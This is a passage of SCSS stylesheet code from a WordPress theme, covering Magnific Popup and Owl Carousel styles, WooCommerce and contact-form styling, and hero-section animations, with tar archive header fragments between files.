.aligncenter {
clear: both;
@include center-block;
}
/*------------------------------
3.0 Clearings
------------------------------*/
.clear:before,
.clear:after,
.entry-content:before,
.entry-content:after,
.comment-content:before,
.comment-content:after,
.site-header:before,
.site-header:after,
.site-content:before,
.site-content:after,
.site-footer:before,
.site-footer:after {
@include clearfix;
}
.clear:after,
.entry-content:after,
.comment-content:after,
.site-header:after,
.site-content:after,
.site-footer:after {
@include clearfix-after;
}
/*------------------------------
3.1 Infinite Scroll
------------------------------*/
/* Globally hidden elements when Infinite Scroll is supported and in use. */
.infinite-scroll .posts-navigation, /* Older / Newer Posts Navigation (always hidden) */
.infinite-scroll.neverending .site-footer { /* Theme Footer (when set to scrolling) */
display: none;
}
/* When Infinite Scroll has reached its end we need to re-display elements that were hidden (via .neverending) before. */
.infinity-end.neverending .site-footer {
display: block;
}
/*------------------------------
3.1 Helper.
------------------------------*/
.hide {
display: none;
}
.clearleft {
clear: left;
}
.break {
word-break: break-word;
word-wrap: break-word;
}
body.mce-content-body{
margin: 20px 40px;
font-size: 13px;
}
_external_plugins.scss 0000666 00000074767 15112302747 0011216 0 ustar 00 // main: style.scss
/* Magnific Popup CSS */
////////////////////////
// Settings //
////////////////////////
// overlay
$mfp-overlay-color: #0b0b0b; // Color of overlay screen
$mfp-overlay-opacity: 0.8; // Opacity of overlay screen
$mfp-shadow: 0 0 8px rgba(0, 0, 0, 0.6); // Shadow on image or iframe
// spacing
$mfp-popup-padding-left: 8px; // Padding from left and from right side
$mfp-popup-padding-left-mobile: 6px; // Same as above, but is applied when width of window is less than 800px
$mfp-z-index-base: 1040; // Base z-index of popup
// controls
$mfp-include-arrows: true; // Include styles for nav arrows
$mfp-controls-opacity: 0.65; // Opacity of controls
$mfp-controls-color: #FFF; // Color of controls
$mfp-controls-border-color: #3F3F3F; // Border color of controls
$mfp-inner-close-icon-color: #333; // Color of close button when inside
$mfp-controls-text-color: #CCC; // Color of preloader and "1 of X" indicator
$mfp-controls-text-color-hover: #FFF; // Hover color of preloader and "1 of X" indicator
$mfp-IE7support: true; // Very basic IE7 support
// Iframe-type options
$mfp-include-iframe-type: true; // Enable Iframe-type popups
$mfp-iframe-padding-top: 40px; // Iframe padding top
$mfp-iframe-background: #000; // Background color of iframes
$mfp-iframe-max-width: 900px; // Maximum width of iframes
$mfp-iframe-ratio: 9/16; // Ratio of iframe (9/16 = widescreen, 3/4 = standard, etc.)
// Image-type options
$mfp-include-image-type: true; // Enable Image-type popups
$mfp-image-background: #444 !default;
$mfp-image-padding-top: 40px; // Image padding top
$mfp-image-padding-bottom: 40px; // Image padding bottom
$mfp-include-mobile-layout-for-image: true; // Removes paddings from top and bottom
// Image caption options
$mfp-caption-title-color: #F3F3F3; // Caption title color
$mfp-caption-subtitle-color: #BDBDBD; // Caption subtitle color
// A11y
$mfp-use-visuallyhidden: false;
////////////////////////
//
// Contents:
//
// 1. Default Settings
// 2. General styles
// - Transluscent overlay
// - Containers, wrappers
// - Cursors
// - Helper classes
// 3. Appearance
// - Preloader & text that displays error messages
// - CSS reset for buttons
// - Close icon
// - "1 of X" counter
// - Navigation (left/right) arrows
// - Iframe content type styles
// - Image content type styles
// - Media query where size of arrows is reduced
// - IE7 support
//
////////////////////////
////////////////////////
// 1. Default Settings
////////////////////////
$mfp-overlay-color: #0b0b0b !default;
$mfp-overlay-opacity: 0.8 !default;
$mfp-shadow: 0 0 8px rgba(0, 0, 0, 0.6) !default; // shadow on image or iframe
$mfp-popup-padding-left: 8px !default; // Padding from left and from right side
$mfp-popup-padding-left-mobile: 6px !default; // Same as above, but is applied when width of window is less than 800px
$mfp-z-index-base: 1040 !default; // Base z-index of popup
$mfp-include-arrows: true !default; // include styles for nav arrows
$mfp-controls-opacity: 0.65 !default;
$mfp-controls-color: #FFF !default;
$mfp-controls-border-color: #3F3F3F !default;
$mfp-inner-close-icon-color: #333 !default;
$mfp-controls-text-color: #CCC !default; // Color of preloader and "1 of X" indicator
$mfp-controls-text-color-hover: #FFF !default;
$mfp-IE7support: true !default; // Very basic IE7 support
// Iframe-type options
$mfp-include-iframe-type: true !default;
$mfp-iframe-padding-top: 40px !default;
$mfp-iframe-background: #000 !default;
$mfp-iframe-max-width: 900px !default;
$mfp-iframe-ratio: 9/16 !default;
// Image-type options
$mfp-include-image-type: true !default;
$mfp-image-background: #444 !default;
$mfp-image-padding-top: 40px !default;
$mfp-image-padding-bottom: 40px !default;
$mfp-include-mobile-layout-for-image: true !default; // Removes paddings from top and bottom
// Image caption options
$mfp-caption-title-color: #F3F3F3 !default;
$mfp-caption-subtitle-color: #BDBDBD !default;
// A11y
$mfp-use-visuallyhidden: false !default; // Hide content from browsers, but make it available for screen readers
////////////////////////
// 2. General styles
////////////////////////
// Transluscent overlay
.mfp-bg {
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: $mfp-z-index-base + 2;
overflow: hidden;
position: fixed;
background: $mfp-overlay-color;
opacity: $mfp-overlay-opacity;
@if $mfp-IE7support {
filter: unquote("alpha(opacity=#{$mfp-overlay-opacity*100})");
}
}
// Wrapper for popup
.mfp-wrap {
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: $mfp-z-index-base + 3;
position: fixed;
outline: none !important;
-webkit-backface-visibility: hidden; // fixes webkit bug that can cause "false" scrollbar
}
// Root container
.mfp-container {
text-align: center;
position: absolute;
width: 100%;
height: 100%;
left: 0;
top: 0;
padding: 0 $mfp-popup-padding-left;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
// Vertical centerer helper
.mfp-container {
&:before {
content: '';
display: inline-block;
height: 100%;
vertical-align: middle;
}
}
// Remove vertical centering when popup has class `mfp-align-top`
.mfp-align-top {
.mfp-container {
&:before {
display: none;
}
}
}
// Popup content holder
.mfp-content {
position: relative;
display: inline-block;
vertical-align: middle;
margin: 0 auto;
text-align: left;
z-index: $mfp-z-index-base + 5;
}
.mfp-inline-holder,
.mfp-ajax-holder {
.mfp-content {
width: 100%;
cursor: auto;
}
}
// Cursors
.mfp-ajax-cur {
cursor: progress;
}
.mfp-zoom-out-cur {
&, .mfp-image-holder .mfp-close {
cursor: -moz-zoom-out;
cursor: -webkit-zoom-out;
cursor: zoom-out;
}
}
.mfp-zoom {
cursor: pointer;
cursor: -webkit-zoom-in;
cursor: -moz-zoom-in;
cursor: zoom-in;
}
.mfp-auto-cursor {
.mfp-content {
cursor: auto;
}
}
.mfp-close,
.mfp-arrow,
.mfp-preloader,
.mfp-counter {
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
}
// Hide the image during the loading
.mfp-loading {
&.mfp-figure {
display: none;
}
}
// Helper class that hides stuff
@if $mfp-use-visuallyhidden {
// From HTML5 Boilerplate https://github.com/h5bp/html5-boilerplate/blob/v4.2.0/doc/css.md#visuallyhidden
.mfp-hide {
border: 0 !important;
clip: rect(0 0 0 0) !important;
height: 1px !important;
margin: -1px !important;
overflow: hidden !important;
padding: 0 !important;
position: absolute !important;
width: 1px !important;
}
} @else {
.mfp-hide {
display: none !important;
}
}
////////////////////////
// 3. Appearance
////////////////////////
// Preloader and text that displays error messages
.mfp-preloader {
color: $mfp-controls-text-color;
position: absolute;
top: 50%;
width: auto;
text-align: center;
margin-top: -0.8em;
left: 8px;
right: 8px;
z-index: $mfp-z-index-base + 4;
a {
color: $mfp-controls-text-color;
&:hover {
color: $mfp-controls-text-color-hover;
}
}
}
// Hide preloader when content successfully loaded
.mfp-s-ready {
.mfp-preloader {
display: none;
}
}
// Hide content when it was not loaded
.mfp-s-error {
.mfp-content {
display: none;
}
}
// CSS-reset for buttons
button {
&.mfp-close,
&.mfp-arrow {
overflow: visible;
cursor: pointer;
background: transparent;
border: 0;
-webkit-appearance: none;
display: block;
outline: none;
padding: 0;
z-index: $mfp-z-index-base + 6;
-webkit-box-shadow: none;
box-shadow: none;
}
&::-moz-focus-inner {
padding: 0;
border: 0
}
}
// Close icon
.mfp-close {
width: 44px;
height: 44px;
line-height: 44px;
position: absolute;
right: 0;
top: 0;
text-decoration: none;
text-align: center;
opacity: $mfp-controls-opacity;
@if $mfp-IE7support {
filter: unquote("alpha(opacity=#{$mfp-controls-opacity*100})");
}
padding: 0 0 18px 10px;
color: $mfp-controls-color;
font-style: normal;
font-size: 28px;
font-family: Arial, Baskerville, monospace;
&:hover,
&:focus {
opacity: 1;
@if $mfp-IE7support {
filter: unquote("alpha(opacity=#{1*100})");
}
}
&:active {
top: 1px;
}
}
.mfp-close-btn-in {
.mfp-close {
color: $mfp-inner-close-icon-color;
}
}
.mfp-image-holder,
.mfp-iframe-holder {
.mfp-close {
color: $mfp-controls-color;
right: -6px;
text-align: right;
padding-right: 6px;
width: 100%;
}
}
// "1 of X" counter
.mfp-counter {
position: absolute;
top: 0;
right: 0;
color: $mfp-controls-text-color;
font-size: 12px;
line-height: 18px;
white-space: nowrap;
}
// Navigation arrows
@if $mfp-include-arrows {
.mfp-arrow {
position: absolute;
opacity: $mfp-controls-opacity;
@if $mfp-IE7support {
filter: unquote("alpha(opacity=#{$mfp-controls-opacity*100})");
}
margin: 0;
top: 50%;
margin-top: -55px;
padding: 0;
width: 90px;
height: 110px;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
&:active {
margin-top: -54px;
}
&:hover,
&:focus {
opacity: 1;
@if $mfp-IE7support {
filter: unquote("alpha(opacity=#{1*100})");
}
}
&:before,
&:after,
.mfp-b,
.mfp-a {
content: '';
display: block;
width: 0;
height: 0;
position: absolute;
left: 0;
top: 0;
margin-top: 35px;
margin-left: 35px;
border: medium inset transparent;
}
&:after,
.mfp-a {
border-top-width: 13px;
border-bottom-width: 13px;
top: 8px;
}
&:before,
.mfp-b {
border-top-width: 21px;
border-bottom-width: 21px;
opacity: 0.7;
}
}
.mfp-arrow-left {
left: 0;
&:after,
.mfp-a {
border-right: 17px solid $mfp-controls-color;
margin-left: 31px;
}
&:before,
.mfp-b {
margin-left: 25px;
border-right: 27px solid $mfp-controls-border-color;
}
}
.mfp-arrow-right {
right: 0;
&:after,
.mfp-a {
border-left: 17px solid $mfp-controls-color;
margin-left: 39px
}
&:before,
.mfp-b {
border-left: 27px solid $mfp-controls-border-color;
}
}
}
// Iframe content type
@if $mfp-include-iframe-type {
.mfp-iframe-holder {
padding-top: $mfp-iframe-padding-top;
padding-bottom: $mfp-iframe-padding-top;
.mfp-content {
line-height: 0;
width: 100%;
max-width: $mfp-iframe-max-width;
}
.mfp-close {
top: -40px;
}
}
.mfp-iframe-scaler {
width: 100%;
height: 0;
overflow: hidden;
padding-top: $mfp-iframe-ratio * 100%;
iframe {
position: absolute;
display: block;
top: 0;
left: 0;
width: 100%;
height: 100%;
box-shadow: $mfp-shadow;
background: $mfp-iframe-background;
}
}
}
// Image content type
@if $mfp-include-image-type {
/* Main image in popup */
img {
&.mfp-img {
width: auto;
max-width: 100%;
height: auto;
display: block;
line-height: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: $mfp-image-padding-top 0 $mfp-image-padding-bottom;
margin: 0 auto;
}
}
/* The shadow behind the image */
.mfp-figure {
line-height: 0;
&:after {
content: '';
position: absolute;
left: 0;
top: $mfp-image-padding-top;
bottom: $mfp-image-padding-bottom;
display: block;
right: 0;
width: auto;
height: auto;
z-index: -1;
box-shadow: $mfp-shadow;
background: $mfp-image-background;
}
small {
color: $mfp-caption-subtitle-color;
display: block;
font-size: 12px;
line-height: 14px;
}
figure {
margin: 0;
}
}
.mfp-bottom-bar {
margin-top: -$mfp-image-padding-bottom + 4;
position: absolute;
top: 100%;
left: 0;
width: 100%;
cursor: auto;
}
.mfp-title {
text-align: left;
line-height: 18px;
color: $mfp-caption-title-color;
word-wrap: break-word;
padding-right: 36px; // leave some space for counter at right side
}
.mfp-image-holder {
.mfp-content {
max-width: 100%;
}
}
.mfp-gallery {
.mfp-image-holder {
.mfp-figure {
cursor: pointer;
}
}
}
@if $mfp-include-mobile-layout-for-image {
@media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) {
/**
* Remove all paddings around the image on small screen
*/
.mfp-img-mobile {
.mfp-image-holder {
padding-left: 0;
padding-right: 0;
}
img {
&.mfp-img {
padding: 0;
}
}
.mfp-figure {
// The shadow behind the image
&:after {
top: 0;
bottom: 0;
}
small {
display: inline;
margin-left: 5px;
}
}
.mfp-bottom-bar {
background: rgba(0, 0, 0, 0.6);
bottom: 0;
margin: 0;
top: auto;
padding: 3px 5px;
position: fixed;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
&:empty {
padding: 0;
}
}
.mfp-counter {
right: 5px;
top: 3px;
}
.mfp-close {
top: 0;
right: 0;
width: 35px;
height: 35px;
line-height: 35px;
background: rgba(0, 0, 0, 0.6);
position: fixed;
text-align: center;
padding: 0;
}
}
}
}
}
// Scale navigation arrows and reduce padding from sides
@media all and (max-width: 900px) {
.mfp-arrow {
-webkit-transform: scale(0.75);
transform: scale(0.75);
}
.mfp-arrow-left {
-webkit-transform-origin: 0;
transform-origin: 0;
}
.mfp-arrow-right {
-webkit-transform-origin: 100%;
transform-origin: 100%;
}
.mfp-container {
padding-left: $mfp-popup-padding-left-mobile;
padding-right: $mfp-popup-padding-left-mobile;
}
}
// IE7 support
// Styles that make popup look nicier in old IE
@if $mfp-IE7support {
.mfp-ie7 {
.mfp-img {
padding: 0;
}
.mfp-bottom-bar {
width: 600px;
left: 50%;
margin-left: -300px;
margin-top: 5px;
padding-bottom: 5px;
}
.mfp-container {
padding: 0;
}
.mfp-content {
padding-top: 44px;
}
.mfp-close {
top: 0;
right: 0;
padding-top: 0;
}
}
}
/* WooCommerce support */
.woocommerce-page {
.site-main .page-title {
//display: none;
}
}
.woocommerce-result-count {
font-style: italic;
}
.woocommerce .woocommerce-ordering, .woocommerce .woocommerce-result-count {
margin-bottom: 1.5em;
}
.woocommerce-ordering {
select {
padding: 7px;
margin-top: -10px;
}
}
.woocommerce ul.products li.product h3 {
@include rem('font-size', 18px);
margin-bottom: 7px;
}
.woocommerce #respond input#submit, .woocommerce a.button, .woocommerce button.button, .woocommerce input.button, .woocommerce button.button.alt {
background-color: $primary;
@include rem('padding', 10px 20px);
color: #FFF;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.5px;
@include rem('font-size', 13px);
border-radius: 2px;
&:hover {
background: #222222;
color: #FFF;
-webkit-transition: all 0.2s ease-in-out;
-moz-transition: all 0.2s ease-in-out;
-o-transition: all 0.2s ease-in-out;
transition: all 0.2s ease-in-out;
}
}
.woocommerce table.shop_table {
border-collapse: collapse;
}
.woocommerce .quantity .qty {
padding: 5px;
}
.woocommerce span.onsale {
padding: inherit;
}
.related.products h2, #tab-description h2 {
@include rem('font-size', 17px);
margin-bottom: 20px;
text-transform: uppercase;
letter-spacing: 1px;
}
.woocommerce nav.woocommerce-pagination ul li a, .woocommerce nav.woocommerce-pagination ul li span {
padding: 9px 14px;
font-weight: bold;
}
.woocommerce {
#customer_details, #customer_login,
.woocommerce-Addresses,
.woocommerce-customer-details {
.col-1, .col-2 {
max-width: 100%;
padding-left: 0px;
padding-right: 0px;
}
}
.woocommerce-additional-fields {
h3 {
margin-top: 20px;
}
}
.cart_totals {
th {
text-align: left;
}
h2 {
@include rem(font-size, 20px);
}
}
.wc-proceed-to-checkout {
text-align: center;
}
.woocommerce-order-details__title,
.woocommerce-customer-details h2 {
@include rem(font-size, 20px);
}
}
.woocommerce ul.products li.product .price del {
display: inline-block;
}
.woocommerce .cart-collaterals .cart_totals, .woocommerce-page .cart-collaterals .cart_totals {
width: 100%;
float: none;
}
#add_payment_method .wc-proceed-to-checkout a.checkout-button,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button {
display: inline-block;
margin: 0 auto;
}
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt {
background-color: $primary;
&:hover {
background-color: $primary;
opacity: .8;
}
}
;
.woocommerce-MyAccount-navigation {
ul {
margin: 0px;
padding-left: 0px;
}
li {
list-style: none;
}
}
/* Breadcrumbs
------------------------------*/
.breadcrumbs {
font-size: 10px;
padding: 15px 0px;
border-bottom: 1px solid $border;
color: #858585;
@include for(small-screens) {
font-size: 12px;
}
i {
margin: 0px 6px;
}
a {
text-decoration: none;
color: $text;
font-weight: 600;
&:hover {
text-decoration: underline;
}
}
span {
margin-right: 20px;
position: relative;
@include for(small-screens) {
margin-right: 40px;
}
span {
margin-right: 0;
}
}
a:before {
border-bottom: 6px solid transparent;
border-left: 6px solid rgba(0, 0, 0, 0.2);
border-top: 6px solid transparent;
content: "";
display: inline-block;
position: absolute;
right: -11px;
top: 2px;
@include for(small-screens) {
right: -23px;
top: 3px;
}
}
a:after {
border-bottom: 5px solid transparent;
border-left: 5px solid #ffffff;
border-top: 5px solid transparent;
content: "";
display: inline-block;
position: absolute;
right: -10px;
top: 3px;
@include for(small-screens) {
right: -22px;
top: 4px;
}
}
}
/* Coursel and slider */
/**
* Owl Carousel v2.3.0
* Copyright 2013-2017 David Deutsch
* Licensed under ()
*/
/*
* Owl Carousel - Core
*/
.owl-carousel {
display: none;
width: 100%;
-webkit-tap-highlight-color: transparent;
/* position relative and z-index fix webkit rendering fonts issue */
position: relative;
z-index: 1;
}
.owl-carousel .owl-stage {
position: relative;
-ms-touch-action: pan-Y;
touch-action: manipulation;
-moz-backface-visibility: hidden;
/* fix firefox animation glitch */
}
.owl-carousel .owl-stage:after {
content: ".";
display: block;
clear: both;
visibility: hidden;
line-height: 0;
height: 0;
}
.owl-carousel .owl-stage-outer {
position: relative;
overflow: hidden;
/* fix for flashing background */
-webkit-transform: translate3d(0px, 0px, 0px);
}
.owl-carousel .owl-wrapper,
.owl-carousel .owl-item {
-webkit-backface-visibility: hidden;
-moz-backface-visibility: hidden;
-ms-backface-visibility: hidden;
-webkit-transform: translate3d(0, 0, 0);
-moz-transform: translate3d(0, 0, 0);
-ms-transform: translate3d(0, 0, 0);
}
.owl-carousel .owl-item {
position: relative;
min-height: 1px;
float: left;
-webkit-backface-visibility: hidden;
-webkit-tap-highlight-color: transparent;
-webkit-touch-callout: none;
}
.owl-carousel .owl-item img {
display: block;
width: 100%;
}
.owl-carousel .owl-nav.disabled,
.owl-carousel .owl-dots.disabled {
display: none;
}
.owl-carousel .owl-nav .owl-prev,
.owl-carousel .owl-nav .owl-next,
.owl-carousel .owl-dot {
cursor: pointer;
cursor: hand;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.owl-carousel.owl-loaded {
display: block;
}
.owl-carousel.owl-loading {
opacity: 0;
display: block;
}
.owl-carousel.owl-hidden {
opacity: 0;
}
.owl-carousel.owl-refresh .owl-item {
visibility: hidden;
}
.owl-carousel.owl-drag .owl-item {
-ms-touch-action: none;
touch-action: none;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.owl-carousel.owl-grab {
cursor: move;
cursor: grab;
}
.owl-carousel.owl-rtl {
direction: rtl;
}
.owl-carousel.owl-rtl .owl-item {
float: right;
}
/* No Js */
.no-js .owl-carousel {
display: block;
}
/*
* Owl Carousel - Animate Plugin
*/
.owl-carousel .animated {
-webkit-animation-duration: 1000ms;
animation-duration: 1000ms;
-webkit-animation-fill-mode: both;
animation-fill-mode: both;
}
.owl-carousel .owl-animated-in {
z-index: 0;
}
.owl-carousel .owl-animated-out {
z-index: 1;
}
.owl-carousel .fadeOut {
-webkit-animation-name: fadeOut;
animation-name: fadeOut;
}
@-webkit-keyframes fadeOut {
0% {
opacity: 1;
}
100% {
opacity: 0;
}
}
@keyframes fadeOut {
0% {
opacity: 1;
}
100% {
opacity: 0;
}
}
/*
* Owl Carousel - Auto Height Plugin
*/
.owl-height {
transition: height 500ms ease-in-out;
}
/*
* Owl Carousel - Lazy Load Plugin
*/
.owl-carousel .owl-item .owl-lazy {
opacity: 0;
transition: opacity 400ms ease;
}
.owl-carousel .owl-item img.owl-lazy {
-webkit-transform-style: preserve-3d;
transform-style: preserve-3d;
}
/*
* Owl Carousel - Video Plugin
*/
.owl-carousel .owl-video-wrapper {
position: relative;
height: 100%;
background: #000;
}
.owl-carousel .owl-video-play-icon {
}
.owl-carousel .owl-video-playing .owl-video-tn,
.owl-carousel .owl-video-playing .owl-video-play-icon {
display: none;
}
.owl-carousel .owl-video-tn {
opacity: 0;
height: 100%;
background-position: center center;
background-repeat: no-repeat;
background-size: contain;
transition: opacity 400ms ease;
}
.owl-carousel .owl-video-frame {
position: relative;
z-index: 1;
height: 100%;
width: 100%;
}
/**
* Owl Carousel v2.2.1
* Copyright 2013-2017 David Deutsch
* Licensed under ()
*/
/*
* Default theme - Owl Carousel CSS File
*/
.owl-theme {
position: relative;
.owl-nav {
button {
position: absolute;
top: 50%;
background-color: rgba(0, 0, 0, 0.45);
border-radius: 2px;
color: #999;
cursor: pointer;
display: block;
font-size: 22px;
margin-top: 0px;
padding: 4px 10px 5px;
transform: translateY(-50%);
border: 0px none;
&:focus{
box-shadow: none;
outline: none;
}
}
&:hover {
background-color: rgba(0, 0, 0, 0.6);
color: #fff;
}
.owl-prev {
left: 15px;
.lg-icon {
&::before {
content: "\e094";
}
}
}
.owl-next {
right: 15px;
.lg-icon {
&::before {
content: "\e095";
}
}
}
}
}
.owl-theme .owl-nav {
margin-top: 0px;
text-align: center;
-webkit-tap-highlight-color: transparent;
}
.gallery-carousel.owl-theme .owl-nav [class*='owl-'] {
color: #FFF;
font-size: 14px;
margin: 5px;
padding: 4px 7px;
display: inline-block;
cursor: pointer;
border-radius: 3px;
}
.owl-theme .owl-nav [class*='owl-']:hover {
background: #869791;
color: #FFF;
text-decoration: none;
}
.owl-theme .owl-nav .disabled {
opacity: 0.5;
cursor: default;
}
.owl-theme .owl-nav.disabled + .owl-dots {
margin-top: 10px;
}
.owl-theme .owl-dots {
text-align: center;
-webkit-tap-highlight-color: transparent;
}
.owl-theme .owl-dots .owl-dot {
display: inline-block;
zoom: 1;
*display: inline;
background: none !important;
box-shadow: none !important;
outline: none !important;
border: 0px none;
padding: 0px;
}
.owl-theme .owl-dots .owl-dot span {
width: 10px;
height: 10px;
margin: 5px 7px;
background: #D6D6D6;
display: block;
-webkit-backface-visibility: visible;
transition: opacity 200ms ease;
border-radius: 30px;
}
.owl-theme .owl-dots .owl-dot.active span, .owl-theme .owl-dots .owl-dot:hover span {
background: #869791;
}
/* WP FORMS */
div.wpforms-container {
.wpforms-form {
.wpforms-field {
.wpforms-field-label, .wpforms-field-sublabel {
text-transform: uppercase;
font-size: 11px;
letter-spacing: 2px;
font-weight: 600;
}
}
.wpforms-field-row {
&.wpforms-field-medium {
max-width: 100% !important;
}
}
.wpforms-field {
input[type=date],
input[type=datetime],
input[type=datetime-local],
input[type=email],
input[type=month],
input[type=number],
input[type=password],
input[type=range],
input[type=search],
input[type=tel],
input[type=text],
input[type=time],
input[type=url],
input[type=week],
select,
textarea {
padding: 10px;
max-width: 100%;
border: 0px;
font-size: 15px;
font-weight: normal;
line-height: 22px;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
transition: all 0.2s linear;
-moz-transition: all 0.2s linear;
-webkit-transition: all 0.2s linear;
-o-transition: all 0.2s linear;
background-color: #f2f2f2;
border-bottom: 1px solid #fff;
box-sizing: border-box;
color: #000000;
border-bottom: 1px solid #fff;
&:hover, &:focus {
border: none;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
transition: all 0.2s linear;
-moz-transition: all 0.2s linear;
-webkit-transition: all 0.2s linear;
-o-transition: all 0.2s linear;
border-color: #EBEBEB;
border-bottom: 1px solid #fff !important;
background: #e9e9e9;
}
}
textarea {
min-height: 215px;
}
}
button[type=submit] {
width: 100%;
text-align: center;
display: block;
}
}
}
/* Pirate Forms */
.pirate_forms {
.pirate-forms-fields-container {
.form_field_wrap {
width: 100%;
max-width: 100%;
padding: 0px;
.form-control {
border-radius: 0px;
}
.pirate-forms-submit-button {
display: block;
width: 100%;
}
}
}
.contact_message_wrap {
#pirate-forms-contact-message {
border-radius: 0px;
background-color: #f2f2f2;
border: 0 none;
min-height: 245px;
max-height: 999px;
}
}
}
_sections.scss 0000666 00000066653 15112302747 0007455 0 ustar 00
/* Section Stuffs
------------------------------*/
.section-padding {
@include rem('padding', 70px 0px);
}
.section-padding-lg {
@include rem('padding', 90px 0px);
}
.section-padding-larger {
@include rem('padding', 140px 0px);
}
.section-meta {
background-color: $meta;
}
.onepage-section {
position: relative;
overflow: hidden;
&:before {
position: absolute;
top: 0px;
left: 0px;
right: 0px;
bottom: 0px;
display: block;
content: " ";
z-index: 1;
}
.container-fluid,
.container {
position: relative;
z-index: 5;
}
}
.section-inverse {
background: #222222;
.section-title-area {
.section-title {
color: rgba(255, 255, 255, 0.99);
}
.section-subtitle {
color: rgba(255, 255, 255, 0.7);
}
.section-subtitle::after {
background: rgba(255, 255, 255, 0.8);
}
}
}
.section-inverse-extended {
background: #333333;
.section-title-area {
.section-title {
color: rgba(255, 255, 255, 0.99);
}
.section-subtitle {
color: rgba(255, 255, 255, 0.7);
}
.section-subtitle::after {
background: rgba(255, 255, 255, 0.8);
}
}
}
.section-inverse {
color: rgba(255, 255, 255, 0.5);
h1, h2, h3, h4, h5, h6 {
color: rgba(255, 255, 255, 0.9);
}
p {
color: rgba(255, 255, 255, 0.5);
}
}
.section-title-area {
margin-bottom: 60px;
text-align: center;
.section-title {
font-size: 30px;
letter-spacing: 2px;
font-weight: 800;
position: relative;
margin-bottom: 0px;
text-transform: uppercase;
@include for(medium-screens) {
font-size: 40px;
letter-spacing: 3.5px;
}
}
.section-subtitle {
color: #aaaaaa;
font-size: 12px;
display: inline-block;
position: relative;
@include rem('margin-bottom', 13px);
text-transform: uppercase;
letter-spacing: 2px;
@include for(medium-screens) {
font-size: 14px;
}
}
}
.section-desc {
@include rem('font-size', 20px);
@include rem('margin-top', 40px);
}
/* Section: Hero
------------------------------*/
.hero-slideshow-wrapper {
width: 100%;
position: relative;
background-color: #222222;
overflow: hidden;
&:after {
position: absolute;
top: 0px;
left: 0px;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.3);
display: block;
content: "";
}
.hero__content {
.hero-large-text, .hero-small-text, .btn,
.hcl2-content {
visibility: hidden;
opacity: 0;
-webkit-transform: translateY(100px);
transform: translateY(100px);
-webkit-transition: all .5s linear;
transition: all .5s linear;
}
.hero-large-text {
-webkit-transition-delay: 0.7s; /* Safari */
transition-delay: 0.7s;
}
.hero-small-text {
-webkit-transition-delay: 0.8s; /* Safari */
transition-delay: 0.8s;
}
.btn {
-webkit-transition-delay: 1s; /* Safari */
transition-delay: 1s;
}
.hcl2-content {
-webkit-transition-delay: 0.7s; /* Safari */
transition-delay: 0.7s;
}
}
&.loaded {
.container {
.hero__content {
&:hover {
.hero-large-text, .hero-small-text, .btn {
-webkit-transition-duration: 0.3s;
transition-duration: 0.3s;
}
.hero-large-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hero-small-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.btn {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
}
.hero-large-text,
.hero-small-text,
.btn, .hcl2-content {
visibility: visible;
opacity: 1;
-webkit-transform: translateY(0);
transform: translateY(0);
}
}
}
}
/* Loading icon */
.slider-spinner {
position: absolute;
top: 50%;
left: 50%;
z-index: 9999999;
margin: 0px;
-webkit-transform: translate(-50%, -50%);
transform: translate(-50%, -50%);
}
}
.animation-disable {
.hero-slideshow-wrapper {
.hero__content {
.hero-large-text, .hero-small-text, .btn, .hcl2-content {
-webkit-transform: translateY(0px);
transform: translateY(0px);
}
.hero-large-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hero-small-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.btn {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hcl2-content {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
}
&.loaded {
.container {
.hero__content {
&:hover {
.hero-large-text, .hero-small-text, .btn, .hcl2-content {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hero-large-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hero-small-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.btn {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hcl2-content {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
}
}
}
}
/* Loading icon */
.slider-spinner {
position: absolute;
top: 50%;
left: 50%;
z-index: 9999999;
margin: 0px;
-webkit-transform: translate(-50%, -50%);
transform: translate(-50%, -50%);
}
}
}
.js-rotating {
display: none;
&.morphext {
display: inline-block;
}
}
// DIsable text animation
.is-customize-preview {
.slider-spinner {
display: none !important;
}
.hero-slideshow-wrapper {
.hero__content {
.hero-large-text, .hero-small-text, .btn, .hcl2-content {
visibility: visible;
opacity: 1;
-webkit-transform: translateY(0px);
transform: translateY(0px);
